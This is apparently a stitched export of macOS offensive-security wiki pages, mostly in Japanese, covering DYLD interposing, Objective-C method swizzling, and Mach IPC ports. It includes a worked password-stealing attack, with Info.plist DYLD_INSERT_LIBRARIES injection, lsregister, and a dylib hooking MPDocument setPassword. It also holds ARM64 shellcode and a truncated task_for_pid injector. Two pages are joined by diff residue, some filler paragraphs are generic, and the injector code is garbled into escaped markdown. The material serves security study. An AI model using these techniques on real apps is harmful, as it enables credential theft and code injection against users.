To use Interpose, you need to create a new shared library that contains the replacement functions. Then, you can use the `DYLD_INSERT_LIBRARIES` environment variable to load your library into the target process and intercept the desired functions.
Here is an example of using Interpose to hook the `open` function:
```c
#define _DARWIN_C_SOURCE
#include <stdio.h>
#include <dlfcn.h>
int (*original_open)(const char *path, int oflag, ...);
int my_open(const char *path, int oflag, ...) {
// Your custom implementation here
}
__attribute__((constructor))
void init() {
original_open = dlsym(RTLD_NEXT, "open");
if (original_open == NULL) {
fprintf(stderr, "Error hooking open\n");
}
printf("Hooked open function\n");
}
```
In this example, the `init` function is called when the library is loaded into the process. It uses `dlsym` to get a reference to the original `open` function, which is then replaced with `my_open`. This allows you to intercept and modify the behavior of the `open` function.
Remember that function hooking can be a powerful technique, but it should be used responsibly and ethically. Improper use of function hooking can lead to instability and security vulnerabilities in the target system.
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## メソッドスウィズリング
ObjectiveCでは、メソッドは次のように呼び出されます: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
**オブジェクト**、**メソッド**、**パラメータ**が必要です。メソッドが呼び出されると、**`objc_msgSend`** 関数を使用して **msg が送信**されます: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
オブジェクトは **`someObject`**、メソッドは **`@selector(method1p1:p2:)`** で、引数は **value1**、**value2** です。
オブジェクト構造に従って、メソッドの **名前****メソッドコードへのポインタ****格納**されている **メソッドの配列** にアクセスすることができます。
{% hint style="danger" %}
メソッドやクラスは名前に基づいてアクセスされるため、この情報はバイナリに保存されているため、`otool -ov </path/bin>` または [`class-dump </path/bin>`](https://github.com/nygard/class-dump) を使用して取得することができます。
{% endhint %}
### 生のメソッドへのアクセス
次の例のように、メソッドの情報(名前、パラメータ数、アドレスなど)にアクセスすることができます。
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### method\_exchangeImplementationsを使用したメソッドスイズリング
関数\*\*`method_exchangeImplementations`\*\*は、**1つの関数の実装のアドレスを他の関数に変更**することを可能にします。
{% hint style="danger" %}
したがって、関数が呼び出されるときには、**実行されるのは他の関数**です。
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
{% hint style="warning" %}
この場合、**正規**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**して実行を防ぐことができます。
次のテクニックにはこの制限がありません。
{% endhint %}
### method\_setImplementationを使用したメソッドスウィズリング
前の形式は奇妙です。なぜなら、1つのメソッドの実装をもう1つのメソッドに変更しているからです。**`method_setImplementation`** 関数を使用すると、1つのメソッドの**実装**を**他のメソッド**に変更できます。
新しい実装から呼び出す場合は、後でそのアドレスを特定するのが難しくなるため、**元の実装のアドレスを保存**してから上書きすることを忘れないでください。
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## フック攻撃方法論
このページでは、関数をフックするさまざまな方法について説明しました。ただし、これらは**プロセス内でコードを実行して攻撃する**というものでした。
そのためには、最も簡単な技術としては、[Dyldを環境変数またはハイジャックを介して注入する](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)という方法があります。ただし、[Dylibプロセスインジェクション](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)を介して行うこともできると思われます。
ただし、これらのオプションは**保護されていない**バイナリ/プロセスに**限定**されています。制限について詳しく知るには、各技術を確認してください。
ただし、関数フック攻撃は非常に特定されたものであり、攻撃者はこれを行って**プロセス内の機密情報を盗み出す**ことを意図していますそうでなければプロセスインジェクション攻撃を行うでしょう。そして、この機密情報はMacPassなどのユーザーがダウンロードしたアプリケーション内に存在する可能性があります。
したがって、攻撃者の手法は、脆弱性を見つけるか、アプリケーションの署名を削除し、Info.plistを介して\*\*`DYLD_INSERT_LIBRARIES`\*\*環境変数を注入することです。以下のようなものを追加します:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
そしてアプリケーションを**再登録**してください:
{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}
そのライブラリに、情報を外部に送信するフックコードを追加します:パスワード、メッセージ...
{% hint style="danger" %}
新しいバージョンのmacOSでは、アプリケーションバイナリの署名を**削除**し、それが以前に実行されていた場合、macOSはもはやそのアプリケーションを実行しなくなります。
{% endhint %}
#### ライブラリの例
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## 参考
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 で **@carlospolopm** をフォローする
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>

View file

@ -0,0 +1,532 @@
# macOS IPC - Inter Process Communication
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
## ポートを介したMachメッセージング
### 基本情報
Machはリソースを共有するための**最小単位としてタスク**を使用し、各タスクには**複数のスレッド**が含まれることができます。これらの**タスクとスレッドは、POSIXプロセスとスレッドに11でマッピング**されます。
タスク間の通信は、Machプロセス間通信IPCを介して行われ、**メッセージはポート間で転送**されます。これらのポートは、カーネルによって管理される**メッセージキューのように機能**します。
各プロセスには**IPCテーブル**があり、そこには**プロセスのMachポート**が見つかります。Machポートの名前は実際には数値カーネルオブジェクトへのポインタです。
プロセスはまた、**別のタスクにポート名と一部の権限を送信**することができ、カーネルはこれを他のタスクの**IPCテーブルにエントリとして表示**します。
### ポート権限
タスクが実行できる操作を定義するポート権限は、この通信に重要です。可能な**ポート権限**は以下の通りです([ここからの定義](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* **受信権限**ポートに送信されたメッセージを受信する権限。MachポートはMPSC複数のプロデューサー、単一のコンシューマーキューであり、システム全体で**各ポートにつき1つの受信権限**しか存在できません複数のプロセスが1つのパイプの読み取り端に対するファイルディスクリプタをすべて保持できるパイプとは異なります
* **受信権限を持つタスク**はメッセージを受信し、**送信権限を作成**でき、メッセージを送信できます。元々は**自分のタスクが自分のポートに対して受信権限を持っていました**
* **送信権限**:ポートにメッセージを送信する権限。
* 送信権限は**クローン**できるため、送信権限を所有するタスクは権限を複製して**第三のタスクに付与**できます。
* **一度だけ送信権限**ポートに1度だけメッセージを送信し、その後消えます。
* **ポートセット権限**:単一のポートではなく\_ポートセット\_を示します。ポートセットからメッセージをデキューすると、その中に含まれるポートからメッセージをデキューします。ポートセットは、Unixの`select`/`poll`/`epoll`/`kqueue`のように複数のポートで同時にリッスンするために使用できます。
* **デッドネーム**:実際のポート権限ではなく、単なるプレースホルダーです。ポートが破棄されると、ポートへのすべての既存のポート権限がデッドネームに変わります。
**タスクはSEND権限を他のタスクに転送**して、メッセージを返信できるようにします。**SEND権限はクローン**されるため、タスクは権限を複製して第三のタスクに**付与**できます。これにより、**ブートストラップサーバ**と呼ばれる中間プロセスと組み合わせることで、タスク間の効果的な通信が可能となります。
### ファイルポート
ファイルポートは、MacポートMachポート権限を使用でファイルディスクリプタをカプセル化することを可能にします。指定されたFDから`fileport_makeport`を使用して`fileport`を作成し、`fileport_makefd`を使用してファイルポートからFDを作成することができます。
### 通信の確立
#### 手順:
通信チャネルを確立するために、**ブートストラップサーバ**macでは**launchd**)が関与します。
1. タスク**A**は**新しいポート**を初期化し、プロセス内で**受信権限**を取得します。
2. 受信権限の所有者であるタスク**A**は、ポートに**送信権限を生成**します。
3. タスク**A**は、**ブートストラップサーバ**と**ポートのサービス名**、および**SEND権限**を提供して、**ブートストラップ登録**として知られる手順を通じて**接続**を確立します。
4. タスク**B**は、**サービス**名のブートストラップ**検索**を実行するために**ブートストラップサーバ**とやり取りします。成功すると、**サーバ**はタスクAから受け取った**SEND権限を複製**し、**タスクBに送信**します。
5. SEND権限を取得すると、タスク**B**は**メッセージを作成**して**タスクAに送信**できます。
6. 双方向通信の場合、通常、タスク**B**は**受信権限**と**送信権限を持つ新しいポート**を生成し、**SEND権限をタスクAに渡す**ことで、タスクBにメッセージを送信できるようにします双方向通信
ブートストラップサーバは**サービス名を認証**できません。これは、**タスク**が潜在的に**任意のシステムタスクをなりすます**可能性があることを意味します。例えば、**認証サービス名を偽って**システムタスクをなりすり、その後すべてのリクエストを承認することができます。
その後、Appleは**システム提供のサービス名**を、SIPで保護されたディレクトリにあるセキュアな構成ファイルに保存しています`/System/Library/LaunchDaemons`および`/System/Library/LaunchAgents`。ブートストラップサーバは、これらのサービス名ごとに**受信権限を作成**し、保持します。
これらの事前定義されたサービスについては、**検索プロセスがわずかに異なります**。サービス名が検索されると、launchdはサービスを動的に開始します。新しいワークフローは次のとおりです
* タスク**B**は、サービス名のブートストラップ**検索**を開始します。
* **launchd**は、タスクが実行されているかどうかをチェックし、実行されていない場合は**開始**します。
* タスク**A**(サービス)は**ブートストラップチェックイン**を実行します。ここで、**ブートストラップ**サーバはSEND権限を作成し、保持し、**受信権限をタスクAに転送**します。
* launchdは**SEND権限を複製**し、タスクBに送信します。
* タスク**B**は**受信権限**と**送信権限**を持つ新しいポートを生成し、**SEND権限をタスクA**svcに渡すことで、タスクBにメッセージを送信できるようにします双方向通信
ただし、このプロセスは事前定義されたシステムタスクにのみ適用されます。非システムタスクは引き続き最初に説明されたように動作し、なりすましを許可する可能性があります。
### Machメッセージ
[こちらで詳細を確認](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
`mach_msg`関数は、基本的にシステムコールであり、Machメッセージの送受信に使用されます。この関数は、最初の引数として送信するメッセージを必要とします。このメッセージは、`mach_msg_header_t`構造体で始まり、実際のメッセージコンテンツが続きます。この構造体は次のように定義されています:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
プロセスは _**受信権**_ を持つことで Mach ポートでメッセージを受信できます。逆に、**送信者** は _**送信権**_ または _**一度だけ送信権**_ を付与されます。一度だけ送信権は、1回のメッセージ送信後に無効になります。
簡単な **双方向通信** を実現するために、プロセスは **mach メッセージヘッダ**_返信ポート_ (**`msgh_local_port`**) と呼ばれる mach ポートを指定できます。メッセージの **受信者** はこのメッセージに返信するために使用できます。**`msgh_bits`** のビットフラグを使用して、このポートに対して **一度だけ送信権** が派生および転送されることを示すことができます (`MACH_MSG_TYPE_MAKE_SEND_ONCE`)。
{% hint style="success" %}
XPC メッセージで返信を期待する場合 (`xpc_connection_send_message_with_reply` および `xpc_connection_send_message_with_reply_sync`)、この種の双方向通信が使用されます。ただし、通常は異なるポートが作成され、双方向通信が確立されます。
{% endhint %}
メッセージヘッダの他のフィールドは次のとおりです:
* `msgh_size`: パケット全体のサイズ。
* `msgh_remote_port`: このメッセージが送信されるポート。
* `msgh_voucher_port`: [mach バウチャー](https://robert.sesek.com/2023/6/mach\_vouchers.html)。
* `msgh_id`: 受信者によって解釈されるこのメッセージの ID。
{% hint style="danger" %}
**mach メッセージは \_mach ポート**\_(単一の受信者、複数の送信者通信チャネル) を介して送信されます。複数のプロセスが mach ポートにメッセージを送信できますが、いつでもそのポートから読み取ることができるのは **1つのプロセスだけ** です。
{% endhint %}
### ポートの列挙
```bash
lsmp -p <pid>
```
iOSでこのツールをインストールするには、[http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) からダウンロードできます。
### コード例
**sender** がポートを**割り当て**、名前 `org.darlinghq.example` の**送信権**を作成し、それを**ブートストラップサーバー**に送信する方法に注目してください。送信者はその名前の**送信権**を要求し、それを使用して**メッセージを送信**しました。
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
### macOS IPC Inter-Process Communication
#### Introduction
In macOS, Inter-Process Communication (IPC) allows communication between processes through various mechanisms such as Mach ports, XPC services, and UNIX domain sockets. Understanding how IPC works is crucial for both developers and security professionals to ensure secure communication between processes.
#### Mach Ports
Mach ports are a fundamental IPC mechanism in macOS, used for communication between processes within the same system or across different systems. Each Mach port has a send right, receive right, or both, which determine the permissions for sending and receiving messages through the port.
#### XPC Services
XPC services are a high-level IPC mechanism provided by the XPC framework in macOS. XPC services allow processes to communicate with each other securely and efficiently. XPC services use Mach ports under the hood for inter-process communication.
#### UNIX Domain Sockets
UNIX domain sockets are another IPC mechanism available in macOS for communication between processes on the same system. UNIX domain sockets use the file system as a communication endpoint, providing a way for processes to exchange data locally.
#### Conclusion
Understanding the different IPC mechanisms in macOS is essential for developing secure applications and conducting security assessments. By leveraging IPC mechanisms effectively, developers can ensure that inter-process communication is secure and reliable. Security professionals can also identify potential vulnerabilities related to IPC and implement appropriate safeguards to protect against exploitation.
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
### 特権ポート
* **ホストポート**: プロセスがこのポートに対して**Send**権限を持っている場合、**システムに関する情報**(例:`host_processor_info`)を取得できます。
* **ホスト特権ポート**: このポートに対して**Send**権限を持つプロセスは、カーネル拡張をロードするなどの**特権アクション**を実行できます。この権限を取得するには、**プロセスはrootである必要があります**。
* さらに、**`kext_request`** APIを呼び出すには、Appleのバイナリにのみ与えられる\*\*`com.apple.private.kext*`\*\*という他の権限が必要です。
* **タスク名ポート**: \_タスクポート\_の権限がないバージョンです。タスクを参照しますが、それを制御することはできません。これを介して利用可能なのは`task_info()`だけです。
* **タスクポート**(別名カーネルポート)\*\*: このポートに対してSend権限があると、タスクを制御できますメモリの読み書き、スレッドの作成など
* 呼び出し`mach_task_self()`を使用して、呼び出し元タスクのためのこのポートの**名前を取得**します。このポートは\*\*`exec()`**を横断してのみ**継承\*\*されます。`fork()`で作成された新しいタスクは新しいタスクポートを取得します(特別なケースとして、`exec()`後にもタスクは新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行う際に["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)を実行することです。
* これらは、ポートへのアクセス制限です(バイナリ`AppleMobileFileIntegrity`の`macos_task_policy`から):
* アプリが\*\*`com.apple.security.get-task-allow`権限\*\*を持っている場合、**同じユーザーのプロセスがタスクポートにアクセス**できますデバッグ用にXcodeによって一般的に追加されます。**ノータリゼーション**プロセスは、本番リリースではこれを許可しません。
* **`com.apple.system-task-ports`権限を持つアプリケーションは、カーネルを除く任意の**プロセスの**タスクポートを取得**できます。以前のバージョンでは\*\*`task_for_pid-allow`\*\*と呼ばれていました。これはAppleアプリケーションにのみ付与されます。
* **Rootは、ハード化されたランタイムでコンパイルされていないアプリケーション**のタスクポートにアクセスできますApple製品ではないもの
### タスクポートを介したスレッドへのシェルコードインジェクション
以下からシェルコードを取得できます:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
#### macOS IPC (Inter-Process Communication)
**Introduction**
Inter-Process Communication (IPC) mechanisms are essential for communication between processes on macOS. Understanding how IPC works is crucial for both developers and security professionals to ensure secure communication between processes.
**Types of IPC on macOS**
1. **Mach Messages**: Low-level IPC mechanism used by macOS for inter-process communication.
2. **XPC Services**: Higher-level API built on top of Mach messages, providing a more secure and easier-to-use interface for IPC.
3. **Distributed Objects**: Deprecated IPC mechanism that allowed objects to be passed between processes.
**Security Considerations**
When working with IPC on macOS, it is important to consider the following security aspects:
* **Authentication**: Ensure that processes are authenticated before communicating with each other.
* **Authorization**: Implement proper authorization mechanisms to control which processes can communicate with each other.
* **Data Integrity**: Protect the integrity of data exchanged between processes to prevent tampering.
* **Privacy**: Safeguard sensitive information exchanged via IPC to prevent unauthorized access.
**Privilege Escalation via IPC**
Improperly implemented IPC mechanisms can introduce security vulnerabilities that could be exploited for privilege escalation. Security researchers often look for flaws in IPC implementations to gain elevated privileges on macOS systems.
**Conclusion**
Understanding macOS IPC mechanisms and implementing secure communication practices are essential for building secure applications and preventing privilege escalation attacks.
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
前のプログラムを**コンパイル**し、同じユーザーでコードをインジェクトできるように**権限**を追加します(そうでない場合は**sudo**を使用する必要があります)。
<details>
<summary>sc_injector.m</summary>
\`\`\`objectivec // gcc -framework Foundation -framework Appkit sc\_injector.m -o sc\_injector
\#import \<Foundation/Foundation.h> #import \<AppKit/AppKit.h> #include \<mach/mach\_vm.h> #include \<sys/sysctl.h>
\#ifdef **arm64**
kern\_return\_t mach\_vm\_allocate ( vm\_map\_t target, mach\_vm\_address\_t \*address, mach\_vm\_size\_t size, int flags );
kern\_return\_t mach\_vm\_write ( vm\_map\_t target\_task, mach\_vm\_address\_t address, vm\_offset\_t data, mach\_msg\_type\_number\_t dataCnt );
\#else #include \<mach/mach\_vm.h> #endif
\#define STACK\_SIZE 65536 #define CODE\_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala char injectedCode\[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid\_t pid){
task\_t remoteTask;
// Get access to the task port of the process we want to inject into kern\_return\_t kr = task\_for\_pid(mach\_task\_self(), pid, \&remoteTask); if (kr != KERN\_SUCCESS) { fprintf (stderr, "Unable to call task\_for\_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the stack mach\_vm\_address\_t remoteStack64 = (vm\_address\_t) NULL; mach\_vm\_address\_t remoteCode64 = (vm\_address\_t) NULL; kr = mach\_vm\_allocate(remoteTask, \&remoteStack64, STACK\_SIZE, VM\_FLAGS\_ANYWHERE);
if (kr != KERN\_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach\_error\_string(kr)); return (-2); } else {
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }
